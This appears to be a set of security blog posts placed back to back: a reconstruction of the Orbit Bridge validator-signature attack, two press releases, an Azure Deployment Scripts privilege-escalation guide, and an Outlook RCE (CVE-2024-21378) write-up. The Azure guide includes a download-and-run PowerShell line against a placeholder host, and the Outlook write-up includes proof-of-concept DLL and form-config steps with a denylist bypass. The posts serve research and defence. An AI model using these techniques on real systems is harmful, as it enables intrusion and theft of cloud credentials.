bridge-dockerize/src/evm/index.js: 

…   
        let sender = Britto.getRandomPkAddress(); 
        if(!sender || !sender.pk || !sender.address){ 
            return "Cannot Generate account"; 
        } 

        let signature = Britto.signMessage(sigHash, validator.pk); 
        let params = [ 
            validator.address, 
            sigHash, 
            signature.v, 
            signature.r, 
            signature.s, 
        ] 

        let txData = { 
            from: sender.address, 
            to: multisig, 
            value: orbitHub.web3.utils.toHex(0) 
        } 
… 

The remainder of the validateSigHash function is shown below. On line 873 of the validator codebase, the param array including the signature values were used as arguments to the validate function in the Orbit Chain’s OrbitVault contract, before the OrbitHub contract is used to broadcast a signed transaction using the data returned from the OrbitVault contract via web3.js.  

bridge-dockerize/src/evm/index.js:  

… 
let gasLimit = await mig.methods.validate(...params).estimateGas(txData).catch(e => {return;}); 
        if(!gasLimit) return "EstimateGas Error"; 

        let data = mig.methods.validate(...params).encodeABI(); 
        if(!data) return "EncodeABI Error"; 

        txData.data = data; 
        txData.gasLimit = orbitHub.web3.utils.toHex(FIX_GAS); 
        txData.gasPrice = orbitHub.web3.utils.toHex(0); 
        txData.nonce = orbitHub.web3.utils.toHex(0); 

        let signedTx = await orbitHub.web3.eth.accounts.signTransaction(txData, "0x"+sender.pk.toString('hex')); 
        let tx = await orbitHub.web3.eth.sendSignedTransaction(signedTx.rawTransaction).catch(e => {console.log(e)}); 
        if(!tx) return "SendTransaction Error"; 

        return tx.transactionHash; 
} 

… 

Note that only the Orbit Chain’s own Vault contracts on bridge destination chains implemented such a public validate function, and Vault implementations on other chains did not.  

Below is the public validate function, inherited by the OrbitVault implementation contract from the MessageMultiSigWallet contract. 

… 
   contract OrbitVaultStorage { 
    … 
    mapping (bytes32 => bool) public validatedHashs; 
    mapping (uint => bytes32) public hashs; 
    uint public hashCount = 0; 
    mapping (bytes32 => uint) public validateCount; 
    mapping (bytes32 => mapping(uint => uint8)) public vSigs; 
    mapping (bytes32 => mapping(uint => bytes32)) public rSigs; 
    mapping (bytes32 => mapping(uint => bytes32)) public sSigs; 
    mapping (bytes32 => mapping(uint => address)) public hashValidators; 

… 

Therefore, calling the /validate API endpoint with any 64-byte hexadecimal string appears to publicly expose the V/R/S values of the string’s signature via the OrbitVault contract on Orbit Chain. Crucially, the Orbit Chain Vault was also the only contract to publicly expose V/R/S values via getters. Other Vault/Multisig contract implementations did not include these mappings in storage. 

Recall that transaction details submitted to the Vaults withdraw functions are used to generate a SHA256 whash transaction hash. This means that should an attacker be able to call this API with a transaction hash derived from arbitrary transaction details, they would effectively be able to expose the bridge validator’s signature via the OrbitVault contract , or possibly their own malicious contract on the Orbit Chain, before the transaction has been executed. 

Finally, another potential attack vector could be within the dockerized validator’s, where the private key is defined in the following example configuration file

bridge-dockerize/.example.env: 

VALIDATOR_PK= 

# EXPANDED NODE RPC ex) infura, alchemy, etc... 
# Type of value must be an array. 
# ex) ["https://mainnet.infura.io/v3/[PROJECT_ID]", "https://eth-mainnet.g.alchemy.com/v2/[PROJECT_ID]"] 
AVAX=[] 
BSC=[] 
CELO=[] 
ETH=[] 
FANTOM=[] 
HARMONY=[] 
HECO=[] 
KLAYTN=[] 
MATIC=[] 
XDAI=[] 

#KAS CREDENTIAL 
KAS_ACCESS_KEY_ID= 
KAS_SECRET_ACCESS_KEY= 

#TON 
TON_API_KEY= 
… 

Testing showed that the private key was expected in plaintext format. More interestingly though, it appears that the same validator private key is used to sign transactions for all supported chains. This likely means that signatures generated on the Orbit Chain will be valid on all supported chains, barring nonstandard configurations such as the validator EOA addresses on certain chains being abstracted accounts. 

Therefore, it would be possible for an attacker with network access to the validator API to execute a kind of cross-chain signature “replay” attack, using values from the OrbitVault contract (on the Orbit Chain network) public vSig/rSig/sSig mappings as the signature to be used in a malicious call to the EthVault contract on Ethereum mainnet. 

The possible attack path can therefore be summarized as follows: 

  1. Attackers identify at least 7 Bridge validator deployment (or validator deployments configured with the private key for up to 7 approved validator addresses) for validator EOA accounts marked as owners/validators in the target Vault contracts. 
  2. Attackers gain access to the validator APIs, possibly abusing weakened ingress network controls on Ozys’ internal/AWS networks. 
  3. Attackers generate their own transaction hashes in the same format used by the Vault contracts, which include details such as amount, toAddress, fromAddress, etc., and call the validator API endpoints with this transaction hash and the address of the OrbitVault contract, deployed on the Orbit Chain network. 
  4. This causes the API to post the V/R/S signature values for the attacker’s transaction hash to the OrbitVault contract, which exposes these values in the contract’s public vSig, rSig, and sSig mappings. 
  5. The same validator addresses are used across supported chains, so attackers may simply query the OrbitVault contract’s public getter functions to get the signature values, and use them to call the withdraw functions on the supported chain’s Vault contracts to execute their signed transactions. 

Counterpoints

The following potential outliers cast doubt onto this theory: 

  • Different node codebase: The validator codebase in the bridge-dockerize public repository may not be the exact codebase used by actual Orbit Bridge validators at the time of the attack.  
  • The Orbit Bridge documentation does not suggest this however, as it makes several references to the public repository. 
  • Abstracted validator accounts: Similarly, if a different validator codebase which abstracted validator addresses was in use at the time of the attack, then an abstracted validator’s address may differ between chains.  
  • However, no evidence of account abstraction was observed in the validator codebase or affected contracts. 
  • Specific transaction amounts: In theory, nothing would have stopped the attackers from generating a transaction hash for the entire EthVault contract’s balance, allowing them to steal an affected Vault contract’s balance in one transaction. However, for certain transactions, the attackers were seen to withdraw specific, repeating amounts from the vault contracts instead, particularly for USDT transactions. 
  • This may be because the attacker’s did not have direct access to the validator API, and instead accessed the API via a compromised intermediate downstream system (e.g., the bridge UI, some middleware API, etc). which only allowed specific amounts of a given token to be included in a hash value before it was signed. 

Possible initial access methods 

As for how the attackers got into a position to call the validator APIs for the required number of validator instances, the January 25, 2024, statement from Ozys describes the following details leading up to the incident: 

  • November 20, 2023: Ozys’ then CISO issues a voluntary retirement decision. 
  • November 22, 2023:  
  • Ozys’ then CISO had “arbitrarily changed firewall policies”. 
  • An information security specialist at Ozys then also “abruptly made the firewall vulnerable”. 
  • December 6, 2023: The information security specialist left the company. 

Not much is known about the bridge’s governance structure, or where the validators were hosted. However, if the details in the statement are indeed related to the incident, is possible that some means to access all validator instances existed internally in Ozys’ internal network, and that the attackers took advantage of the lax egress network controls to identify and abuse these means to interact with the validator APIs.  

A less likely scenario is that Ozys’ themselves maintained a relatively large pool of validators, which were deployed in (or otherwise accessible from) Ozys’ internal network. However, as each transaction executed by the attackers appeared to use signatured generated by different sets of validators, and as such this scenario would only be possible if a large majority of validators were under Ozys’ direct control. 

If the firewall issues were in fact incidental, then several other possibilities exist: 

  • The attackers may have instead independently identified the locations of the bridge validators and targeted the AWS environments of individual DAO participants.  
  • A server-side application security flaw (e.g., SSRF) in the bridge front-end or a similar dApp may have allowed attackers to target the validator APIs through downstream components. 
  • A client side attack against individual validator operators. 

Wider Implications  

Our research into the integration of web2 systems within the web3 environment reveals a complex landscape of security challenges. The findings point to a broader trend in the emerging web3 landscape: the persistence of web2 security issues in new, decentralized contexts.  

As the industry moves forward, it’s imperative to apply lessons learned from decades securing traditional system architectures to strengthen the resilience of web3 systems. This involves not only patching known vulnerabilities but also adopting a proactive approach to security, anticipating how attackers might exploit the interconnected nature of modern digital infrastructures.  

References 

Move beyond the challenge of digital asset acceptance with NetSPI’s blockchain security services. Optimize Blockchain Use.
Back

From Scanners to Strategies: How Attack Surface Management Enhances Vulnerability Scanning 

Vulnerability scanners help scan known assets, but what about the assets you don’t know exist?  

Attack surface sprawl is a growing challenge with 76% of organizations experiencing some type of cyberattack that started through the exploit of an unknown, unmanaged, or poorly managed internet-facing asset.1 The constant expansion of attack surfaces has made the need for visibility into potentially unknown attack surfaces more important than ever.  

Pairing vulnerability scanners with attack surface management (ASM) gives security teams high-fidelity analysis and prioritization of assets and exposures, while limiting noise and false positives commonly associated with technology-only platforms.

Why vulnerability scanners aren’t enough 

The issue lies in the fact that vulnerability scanners can only scan entities you tell them to. Vulnerability assessments operate on a tactical level, often treated as commodities where you acquire a scanner and direct it toward known targets.  

Vulnerability scanners rely on a policy that defines the scope and dictates where the scanner should focus its efforts, whether that’s on targets, networks, or assets. Without this essential step, the scanner lacks the intelligence to identify assets, as its sole purpose is to scan what it’s told to. Vulnerability scanning on its own is an output of potential issues; the tool can’t go out and find assets you haven’t explicitly told it to find. That’s where NetSPI ASM comes in. 

How NetSPI Attack Surface Management covers gaps

The beauty of ASM is its ability to uncover what’s unknown. This aspect is crucial as it offers a more strategic approach compared to traditional vulnerability assessments. When transitioning to ASM, security experts conduct specific operations to identify elements such as subsidiaries and various IPs associated with the organization. Through these efforts, previously undiscovered assets come to light that had been omitted from scanning and thus excluded entirely from a vulnerability assessment program. 

Vulnerability scanners paired with NetSPI ASM enrich the assets, ensuring the scope of your scan is comprehensive.  

ASM Freemium Scan Tool

Leveraging technology, intelligence, and expertise for Proactive Security 

The advanced technology behind NetSPI ASM combines with our security experts to deliver the most comprehensive view of external attack surfaces. Our deep visibility helps you understand specific risks to your business so your team can spend less time sifting through alerts or responding to false positives. With the full force of NetSPI in your corner, you can navigate rapid innovation with confidence, while protecting the trust you’ve worked so hard to build. 

How do we go about enriching asset discovery?  

We research multiple data sources to identify external-facing assets, utilizing a combination of human intelligence and third-party services in our research, a task that a vulnerability scanner could never accomplish on its own. 

For example, we use a blend of various OSINT, proprietary and commercial sources, and techniques to continuously search the internet to identify your entire attack surface. This process is a collection of items including, but not limited to business and legal structures, domains, and IP addresses.  

Our team performs exposure identification by:  

  • Port scanning  
  • Certificate scanning  
  • DNS scanning / querying  
  • Sub-domain brute forcing  
  • Web application scanning  
  • SNMP queries  
  • UDP scanning  
  • TCP scanning  
  • Taking screenshots, grabbing banners  
  • API-queries of cloud configured could environments 

We utilize active and passive techniques to continuously identify the existence of exposures on assets. Active discovery is performed on all identified assets for ports, technologies, certificates, vulnerabilities, DNS records, etc., while passive discovery is performed through integrations with data feeds that allow us to enrich data found through active discovery.  

This detailed information gathering leads to high-quality findings, allowing us to report only on true positives, with highly documented verification steps and remediation instructions. We provide detailed validation and evidence verification, so you only receive the true positives that matter the most to accelerate remediation and eliminate constant alerts and manual correlation from multiple sources. This is the “secret sauce” behind The NetSPI Advantage. Machine intelligence plus human intelligence is compound intelligence that benefits our customers. To put it simply, we go beyond for our customers so they can go beyond for theirs.

Vulnerability scanning vs penetration testing 

Both vulnerability scanners and penetration testing have their time and place to enhance the overall security of systems. The biggest difference is the depth of results from each measure. Vulnerability scanning is an automated process that identifies and reports potential vulnerabilities in a system, focusing on known weaknesses.  

Penetration testing, on the other hand, involves simulating real-world attacks by skilled professionals, a la The NetSPI Agents, to actively exploit vulnerabilities and assess the system’s security posture. While vulnerability scanning provides a broad overview of potential issues, penetration testing goes deeper, uncovering weaknesses that may not be apparent through automated scans. See if you’re getting the most value from your penetration testing reports. 

Empower your security posture with NetSPI 

The most helpful lesson we can share with anyone working to advance your security posture is don’t go it alone. The shared learning from experts who have worked through the same challenges you face is invaluable to bring clarity, speed, and scale to your security programs.  

Reach out to connect with our security experts or keep learning about NetSPI ASM by watching our demo.  

Back

NetSPI Recognized as a Top USA Workplace for 2024

Energage celebrates the proactive security leader for esteemed management and innovation for a third consecutive year

Minneapolis, MinnesotaMarch 19, 2024 – NetSPI, the proactive security solution, today announced that it has been named a top workplace in the U.S. by Energage, a leading provider of technology-based employee engagement tools. Winners are selected based on an anonymous third-party employee survey that measures several aspects of workplace culture, including alignment, execution, and connection.  

“Culture is something we take very seriously at NetSPI. To be recognized by Energage for a third consecutive year is a true testament to our people and their dedication not only to innovation and customers, but our workplace overall,” said Aaron Shilts, CEO of NetSPI. “Organizations are challenged to do more with less, especially when it comes to cybersecurity – creating an increased need for technology that is proactive, efficient, and effective. Our team quickly rose to the occasion, helping NetSPI customers identify more than 17,000 critical issues in the last year alone, while bolstering their overall security posture.” 

This recognition comes on the heels of NetSPI achieving 42% organic growth and increasing its internal headcount by 26% in 2023. Prompted by continuous hiring and the need for an office that fosters collaboration and innovation, NetSPI also moved its headquarters to The Steelman Exchange building in North Loop, Minneapolis.  

“Culture is vital to long-term success, and what we’ve built over the last few years is worth celebrating,” said Heather Crosley, Vice President of People Operations at NetSPI. “As we scale, our employees continue to see value in our organization’s execution and ability to openly share their creative ideas in a collaborative, inclusive environment.” 

Top Workplaces USA celebrates organizations with 150 or more employees that have built great cultures. While more than 42,000 organizations were invited to participate, only 1,100 organizations have been honored with the award this year. 

For more information about NetSPI, please visit www.netspi.com.

About NetSPI 

NetSPI is the proactive security solution used to discover, prioritize, and remediate security vulnerabilities of the highest importance, so businesses can protect what matters most to them. Leveraging a unique combination of advanced technology, intelligent process, and dedicated consultants, NetSPI helps security teams take a proactive approach to cybersecurity with more clarity, speed, and scale than ever before. 

NetSPI goes beyond the noise to deliver high impact results and recommendations based on business needs, so customers can protect their priorities, perform better, and innovate with confidence. 

NetSPI secures the most trusted brands on Earth, including nine of the top 10 U.S. banks, four of the top five leading cloud providers, four of the five largest healthcare companies, three FAANG companies, seven of the top 10 U.S. retailers & e-commerce companies, and many of the Fortune 500.  

NetSPI is headquartered in Minneapolis, MN, with offices across the U.S., Canada, the UK, and India. Follow NetSPI on Facebook, X, and LinkedIn

About Energage

Making the world a better place to work together.TM 

Energage is a purpose-driven company that helps organizations turn employee feedback into useful business intelligence and credible employer recognition through Top Workplaces. Built on 14 years of culture research and the results from 23 million employees surveyed across more than 70, 000 organizations, Energage delivers the most accurate competitive benchmark available. With access to a unique combination of patented analytic tools and expert guidance,Energage customers lead the competition with an engaged workforce and an opportunity to gain recognition for their people-first approach to culture. For more information or to nominate your organization, visit Energage or Workplaces. 

NetSPI Media Contacts: 

Tori Norris, NetSPI
victoria.norris@netspi.com
(630) 258-0277 

Jessica Bettencourt, Inkhouse for NetSPI 
netspi@inkhouse.com  
(774) 451-5142 

Back

Azure Deployment Scripts: Assuming User-Assigned Managed Identities

As Azure penetration testers, we often run into overly permissioned User-Assigned Managed Identities. This type of Managed Identity is a subscription level resource that can be applied to multiple other Azure resources. Once applied to another resource, it allows the resource to utilize the associated Entra ID identity to authenticate and gain access to other Azure resources. These are typically used in cases where Azure engineers want to easily share specific permissions with multiple Azure resources. An attacker, with the correct permissions in a subscription, can assign these identities to resources that they control, and can get access to the permissions of the identity. 

When we attempt to escalate our permissions with an available User-Assigned Managed Identity, we can typically choose from one of the following services to attach the identity to:

Once we attach the identity to the resource, we can then use that service to generate a token (to use with Microsoft APIs) or take actions as that identity within the service. We’ve linked out on the above list to some blogs that show how to use those services to attack Managed Identities. 

The last item on that list (Deployment Scripts) is a more recent addition (2023). After taking a look at Rogier Dijkman’s post – “Project Miaow (Privilege Escalation from an ARM template)” – we started making more use of the Deployment Scripts as a method for “borrowing” User-Assigned Managed Identities. We will use this post to expand on Rogier’s blog and show a new MicroBurst function that automates this attack.

TL;DR 

  • Attackers may get access to a role that allows assigning a Managed Identity to a resource 
  • Deployment Scripts allow attackers to attach a User-Assigned Managed Identity 
  • The Managed Identity can be used (via Az PowerShell or AZ CLI) to take actions in the Deployment Scripts container 
  • Depending on the permissions of the Managed Identity, this can be used for privilege escalation 
  • We wrote a tool to automate this process 

What are Deployment Scripts? 

As an alternative to running local scripts for configuring deployed Azure resources, the Azure Deployment Scripts service allows users to run code in a containerized Azure environment. The containers themselves are created as “Container Instances” resources in the Subscription and are linked to the Deployment Script resources. There is also a supporting “*azscripts” Storage Account that gets created for the storage of the Deployment Script file resources. This service can be a convenient way to create more complex resource deployments in a subscription, while keeping everything contained in one ARM template.

In Rogier’s blog, he shows how an attacker with minimal permissions can abuse their Deployment Script permissions to attach a Managed Identity (with the Owner Role) and promote their own user to Owner. During an Azure penetration test, we don’t often need to follow that exact scenario. In many cases, we just need to get a token for the Managed Identity to temporarily use with the various Microsoft APIs.

Automating the Process

In situations where we have escalated to some level of “write” permissions in Azure, we usually want to do a review of available Managed Identities that we can use, and the roles attached to those identities. This process technically applies to both System-Assigned and User-Assigned Managed Identities, but we will be focusing on User-Assigned for this post.

Link to the Script – https://github.com/NetSPI/MicroBurst/blob/master/Az/Invoke-AzUADeploymentScript.ps1

This is a pretty simple process for User-Assigned Managed Identities. We can use the following one-liner to enumerate all of the roles applied to a User-Assigned Managed Identity in a subscription:

Get-AzUserAssignedIdentity | ForEach-Object { Get-AzRoleAssignment -ObjectId $_.PrincipalId }

Keep in mind that the Get-AzRoleAssignment call listed above will only get the role assignments that your authenticated user can read. There is potential that a Managed Identity has permissions in other subscriptions that you don’t have access to. The Invoke-AzUADeploymentScript function will attempt to enumerate all available roles assigned to the identities that you have access to, but keep in mind that the identity may have roles in Subscriptions (or Management Groups) that you don’t have read permissions on.

Once we have an identity to target, we can assign it to a resource (a Deployment Script) and generate tokens for the identity. Below is an overview of how we automate this process in the Invoke-AzUADeploymentScript function:

  • Enumerate available User-Assigned Managed Identities and their role assignments
  • Select the identity to target
  • Generate the malicious Deployment Script ARM template
  • Create a randomly named Deployment Script with the template
  • Get the output from the Deployment Script
  • Remove the Deployment Script and Resource Group Deployment

Since we don’t have an easy way of determining if your current user can create a Deployment Script in a given Resource Group, the script assumes that you have Contributor (Write permissions) on the Resource Group containing the User-Assigned Managed Identity, and will use that Resource Group for the Deployment Script.

If you want to deploy your Deployment Script to a different Resource Group in the same Subscription, you can use the “-ResourceGroup” parameter. If you want to deploy your Deployment Script to a different Subscription in the same Tenant, use the “-DeploymentSubscriptionID” parameter and the “-ResourceGroup” parameter.

Finally, you can specify the scope of the tokens being generated by the function with the “-TokenScope” parameter.

Example Usage:

We have three different use cases for the function:

  1. Deploy to the Resource Group containing the target User-Assigned Managed Identity
Invoke-AzUADeploymentScript -Verbose
  1. Deploy to a different Resource Group in the same Subscription
Invoke-AzUADeploymentScript -Verbose -ResourceGroup "ExampleRG"
  1. Deploy to a Resource Group in a different Subscription in the same tenant
Invoke-AzUADeploymentScript -Verbose -ResourceGroup "OtherExampleRG" -DeploymentSubscriptionID "00000000-0000-0000-0000-000000000000"

*Where “00000000-0000-0000-0000-000000000000” is the Subscription ID that you want to deploy to, and “OtherExampleRG” is the Resource Group in that Subscription.

Additional Use Cases

Outside of the default action of generating temporary Managed Identity tokens, the function allows you to take advantage of the container environment to take actions with the Managed Identity from a (generally) trusted space. You can run specific commands as the Managed Identity using the “-Command” flag on the function. This is nice for obfuscating the source of your actions, as the usage of the Managed Identity will track back to the Deployment Script, versus using generated tokens away from the container.

Below are a couple of potential use cases and commands to use:

  • Run commands on VMs
  • Create RBAC Role Assignments
  • Dump Key Vaults, Storage Account Keys, etc.

Since the function expects string data as the output from the Deployment Script, make sure that you format your “-command” output in the parameter to ensure that your command output is returned.

Example:

Invoke-AzUADeploymentScript -Verbose -Command "Get-AzResource | ConvertTo-Json”

Lastly, if you’re running any particularly complex commands, then you may be better off loading in your PowerShell code from an external source as your “–Command” parameter. Using the Invoke-Expression (IEX) function in PowerShell is a handy way to do this.

Example:

IEX(New-Object System.Net.WebClient).DownloadString(‘https://example.com/DeploymentExec.ps1’) |  Out-String

Indicators of Compromise (IoCs)

We’ve included the primary IoCs that defenders can use to identify these attacks. These are listed in the expected chronological order for the attack.

Operation NameDescription
Microsoft.Resources/deployments/validate/actionValidate Deployment
Microsoft.Resources/deployments/writeCreate Deployment
Microsoft.Resources/deploymentScripts/writeWrite Deployment Script
Microsoft.Storage/storageAccounts/writeCreate/Update Storage Account
Microsoft.Storage/storageAccounts/listKeys/actionList Storage Account Keys
Microsoft.ContainerInstance/containerGroups/writeCreate/Update Container Group
Microsoft.Resources/deploymentScripts/deleteDelete Deployment Script
Microsoft.Resources/deployments/deleteDelete Deployment

It’s important to note the final “delete” items on the list, as the function does clean up after itself and should not leave behind any resources.

Conclusion

While Deployment Scripts and User-Assigned Managed Identities are convenient for deploying resources in Azure, administrators of an Azure subscription need to keep a close eye on the permissions granted to users and Managed Identities. A slightly over-permissioned user with access to a significantly over-permissioned Managed Identity is a recipe for a fast privilege escalation.

References:

Back

NetSPI Named a Leader in 2024 GigaOm Radar Report for Attack Surface Management 

GigaOm recognizes NetSPI’s ASM solution for its exceptional capabilities in asset discovery and vulnerability assessment.

Minneapolis, MinnesotaMarch 13, 2024NetSPI, the proactive security solution, announced it has been named a Leader and Fast Mover in the 2024 GigaOm Radar Report for Attack Surface Management (ASM). NetSPI’s ASM solution received exceptional ratings for its asset discovery, vulnerability assessment, and ability to offer granular findings and comprehensive results that go above and beyond for its customers. 

The digital landscape is continuously evolving resulting in a rapidly expanding attack surface. It has never been more critical for businesses to have visibility into their exposures, making ASM solutions necessary to mitigate risks and proactively improve security posture. The GigaOm report examines 22 of the top ASM vendors and compares their offerings against capabilities (table stakes, key features, and emerging features) and non-functional requirements (business criteria) to help decision-makers determine the solutions that best meet their needs.

“As the attack surface continues to expand, our ability to discover, prioritize, and remediate security vulnerabilities and exposures of the highest importance allows our customers to protect what matters most to them and their customers,” said Vinay Anand, Chief Product Officer at NetSPI. “GigaOm’s recognition of NetSPI as a Leader in this year’s ASM Radar Report validates our proactive approach to cybersecurity and further supports our commitment to developing solutions that are powered by innovative technology and triaged by our security experts.” 

The report states, “NetSPI stands out for its sophisticated approach to asset discovery and vulnerability assessment” and reinforces its “commitment to innovation with its comprehensive and sophisticated approach to ASM.” Additionally, NetSPI’s unique blend of technology and its security experts were highlighted as a key advantage in accurate risk assessment. The analysts write, “The platform’s active assessment of vulnerabilities is bolstered by powerful automations, complemented by the human creativity of consultants, resulting in a nuanced identification of true risk.” 

Learn more about NetSPI’s ranking in the GigaOm Radar Report here, or schedule a demo to see NetSPI ASM in action today. 

About NetSPI

NetSPI is the proactive security solution used to discover, prioritize, and remediate security vulnerabilities of the highest importance, so businesses can protect what matters most to them. Leveraging a unique combination of advanced technology, intelligent process, and dedicated consultants, NetSPI helps security teams take a proactive approach to cybersecurity with more clarity, speed, and scale than ever before. 

NetSPI goes beyond the noise to deliver high impact results and recommendations based on business needs, so customers can protect their priorities, perform better, and innovate with confidence. In other words, NetSPI goes beyond for its customers, so they can go beyond for theirs. 

NetSPI secures the most trusted brands on Earth, including nine of the top 10 U.S. banks, four of the top five leading cloud providers, four of the five largest healthcare companies, three FAANG companies, seven of the top 10 U.S. retailers & e-commerce companies, and many of the Fortune 500.  

NetSPI is headquartered in Minneapolis, MN, with offices across the U.S., Canada, the UK, and India. Follow NetSPI on Facebook, X, and LinkedIn.

Media Contacts:  
Tori Norris, NetSPI 
victoria.norris@netspi.com 
(630) 258-0277 

Jessica Bettencourt, Inkhouse for NetSPI 
netspi@inkhouse.com 
(774) 451-5142 

Back

CVE-2024-21378 — Remote Code Execution in Microsoft Outlook 

In 2023 NetSPI discovered that Microsoft Outlook was vulnerable to authenticated remote code execution (RCE) via synced form objects. This blog will cover how we discovered CVE-2024-21378 and weaponized it by modifying Ruler, an Outlook penetration testing tool published by SensePost. Note, a pull request containing the proof-of-concept code is forthcoming to provide organizations with sufficient time to patch.

Edit: The pull request containing the PoC can be found at https://github.com/sensepost/ruler/pull/144

An Overview of the Vulnerability 

The original variant of this attack was documented by Etienne Stalmans at SensePost (Orange CyberDefense) in 2017 and leveraged VBScript code inside Outlook form objects to obtain code execution with access to a mailbox. In response, a patch was issued to enforce allowlisting for script code in custom forms. However, the syncing capability of these form objects was never altered. 

Underneath, forms are MAPI synced using IPM.Microsoft.FolderDesign.FormsDescription objects. These objects carry special properties and attachments which are used to “install” the form when it’s first used on a client. Below is an overview of this procedure: 

  1. Outlook requests the instantiation of a particular message class (IPM.Note.Evil). 
  2. The MAPI associated contents table of the relevant folder is consulted for IPM.Microsoft.FolderDesign.FormsDescription objects. 
  3. If the classname stored in the PidTagOfflineAddressBookName property matches, the form installation process starts. 
  4. The PidTagOfflineAddressBookDistinguishedName is used as the CLSID for the new form install (all forms are COM objects). 
  5. The first attachment of the form description and a special property, 0x6902001F, determines what registry keys need to be added under the CLSID to install the form. 
  • In older style forms (“Forms that bypass outlook”), these registry values typically include InProcServer keys or equivalents that bond to DLLs extracted to disk. 
  • In newer forms, Outlook-specific MsgClass keys are used to bond the form to an OLE object extracted to disk. 
  • Inside any of these keys, %d can be used to refer to the directory where the remaining form attachments are extracted (%localappdata%\Microsoft\FORMS). 
  1. After the registry changes are confirmed, Outlook proceeds to load the form as a COM object. 

There were some serious issues with this process: 

  • When extracting the attachments to %localappdata%\Microsoft\FORMS, you can perform path traversal via the PidTagAttachFilename property. You can also have multiple files written to disk. This essentially is an arbitrary disk write primitive anytime the form is installed. 
  • When creating registry keys for the form, the 0x6902001F property data is
    broken by newline expecting key=value lines. Each line is processed where
    key is a subkey of the CLSID root, and value is the default value for that key.
    To prevent “Forms that bypass outlook”, a denylist of typical COM server keys
    (InProcServer, LocalServer, etc.) is compared against the start of each line
    (OLMAPI32.DLL). However, when installing the value, you can use a leading \
    character to imply a full subkey path under HKCR. For instance,
    \CLSID\<CLSID>\InprocServer32=%d\evil.dll will bypass the denylist check
    and result in a full COM object registration for the form. 

We found that we had the ability to create arbitrary files on disk, as well as install arbitrary registry keys (with default values) under HKEY\_CLASSES\_ROOT (HKCR). These primitives are enough to gain trivial RCE.

In-Depth Review

Colloquially, we consider this to be the fourth iteration of a series of attacks based on the premise of using compromised credentials to sync objects through Exchange. In late 2015, Nick Landers, Co-Founder of Dreadnode, published a blog on the abuse of Outlook Rules for RCE. Over the next couple of years Etienne (SensePost) and Nick dual discovered two additional sets of vectors which were eventually patched by Microsoft, including the abuse of Outlook Forms. SensePost released an excellent set of blogs (see references) digging into the vulnerabilities and underlying technologies as well as the exploitation tool, Ruler

We intended to come back to this research as we felt that Outlook features a vast, underexplored attack surface and our repeated success on engagements over the last couple of years with Device Code phishing/vishing was the final push we needed.  

We began our research by manually exploring Outlook forms from the Outlook Client, as well as, with MFCMAPI and ProcMon. We will keep an overview of the underlying technology high-level, but essentially the various items available through Outlook (messages, calendar invites, tasks, etc.) are displayed through a form structure in an “inspector window”. Outlook both contains standard forms and allows custom forms that can be published and synced through Exchange (including Exchange Online). 

During our research we came upon the format of form configuration files which can be used to install a custom form. Of particular interest were the file and registry entries.

The File entry lists the form server application executable file that the form library maintains and loads into a new subdirectory in the disk cache when the form is launched…  
The Registry entry is used whenever the File entry is used, it identifies the registry key for the form library where the executable file for the form server application is stored…

We first attempted to prove out local code execution. Below is an example form config that we can import directly into Outlook to install a form. We set the File entry to the location of a DLL we would like to install with our form and saved this file to c:\poc\hello.cfg. 

[Description] 
MessageClass=IPM.Note.Hello 
CLSID={00000000-1234-1234-1234-000000000000} 
DisplayName=Hello 
Category=Standard 
Subcategory=Form 
Comment=Hello 
SmallIcon=C:\Windows\SysWOW64\OneDrive.ico 
LargeIcon=C:\Windows\SysWOW64\OneDrive.ico 

[Platforms] 
Platform1=Win16 

[Platform.Win16] 
CPU=ix86 
OSVersion=Win3.1 
File = C:\poc\hello.dll 
Registry = InprocServer32 = %d\hello.dll 

For testing purposes, we compiled a DLL with an execution primitive inside DllMain and again, placed it within the same folder as our hello.cfg file above.

#include <Windows.h> 

BOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID reserved) { 

     if (reason == DLL_PROCESS_ATTACH) { 

     MessageBoxA(0, "Hello", "Ruh Roh", 0); 

     } 

     return TRUE;

}

The configuration file can then be used to install a form within Outlook by navigating to File -> Options -> Advanced -> Custom Forms and selecting the hello.cfg file.

Note: we set the location to Inbox when installing the custom form via config file. 

Navigating to the Forms Manager
Installing the custom form config file in the Inbox folder
Verifying the form has been installed

We then proceeded to select the Developer tab -> Choose Form and open our newly created form.

Attempting to open our newly installed form

Well, not ideal but we remembered seeing a potentially related configuration when installing the form config file. We make the change and retry.

Custom form option related to our previous selection

Better! We confirmed execution of an arbitrary DLL, but we still have a bit to go towards anything useful. On the backend, upon installing the form the configuration file was converted to an IPM.Microsoft.FolderDesign.FormsDescription Message Class object and stored within the Inbox directory in Outlook. A review of the associated registry key after choosing the custom form from the developer tab revealed that our DLL was stored in %localappdata%\Microsoft\FORMS\IPM.Note.Hello, confirming not only execution but also seemingly arbitrary registry writes, and file write to disk.

To gain a better understanding of what was happening underneath the hood we started exploring the contents of Outlook with MFCMAPI. Outlook contains your email but it’s also a database, and we can think of MFCMAPI as essentially a database exploration tool that provides you with access to properties and objects that are not otherwise visible in the Outlook client. From within MFCMAPI we right clicked on our Inbox (since that is where we saved our custom form) and navigated to the “Open associated contents table” button where we found the new form and its various properties.

Reviewing the hidden contents table for our Inbox Folder

As we explored how to recreate the IPM.Microsoft.FolderDesign.FormsDescription
objects in code, we began asking ourselves, “what is the difference between a form that can be installed and a form that ‘bypasses Outlook’? What makes that determination?” 

The property that seemed the most immediately relevant was the “PidTagOfflineAddressBookDistinguishedName” or “PR_OAB_DN”. This property tag contained the COM GUID that we have assigned in the configuration file, which ultimately defines what COM CLSID the form was eventually registered as. This was interesting because it seemed that we could create any registry key under HKCR and set it’s (default) value. Additionally, if the CLSID is arbitrary then what is stopping us from putting in the CLSID of an existing object and performing a classic COM hijack? Again, SensePost provides an overview of these property tags and their importance so we will refrain from re-stating the same here.

Property tags and their value for the IPM.Note.Hello form

We then right clicked on the form, selected “Attachments -> Display attachments table” and found the form contained several attachments, including the DLL to be registered through the form message object. Within the first attachment we also found our registry key information within a couple of property tags. We noticed the PR_ATTACH_DATA_BIN property did not seem important as we could hollow out the contents and sync the form back to Outlook with no effect. We discovered that the value for the 0x6902001F
property determined what registry keys need to be added under the CLSID to install the form – another seemingly critical component. Within the first attachment we also found our registry key information within a couple of property tags.

The form attachments table in MFCMAPI

We then used Ruler to send ourselves a form intended to execute a VBScript and began comparing it to our COM DLL execution form. Reviewing the results, we confirm that the values passed in the 0x6902001F property tag were used to set registry keys.

Testing various inputs in the 0x6092001F property tag
Reviewing the results in the registry 

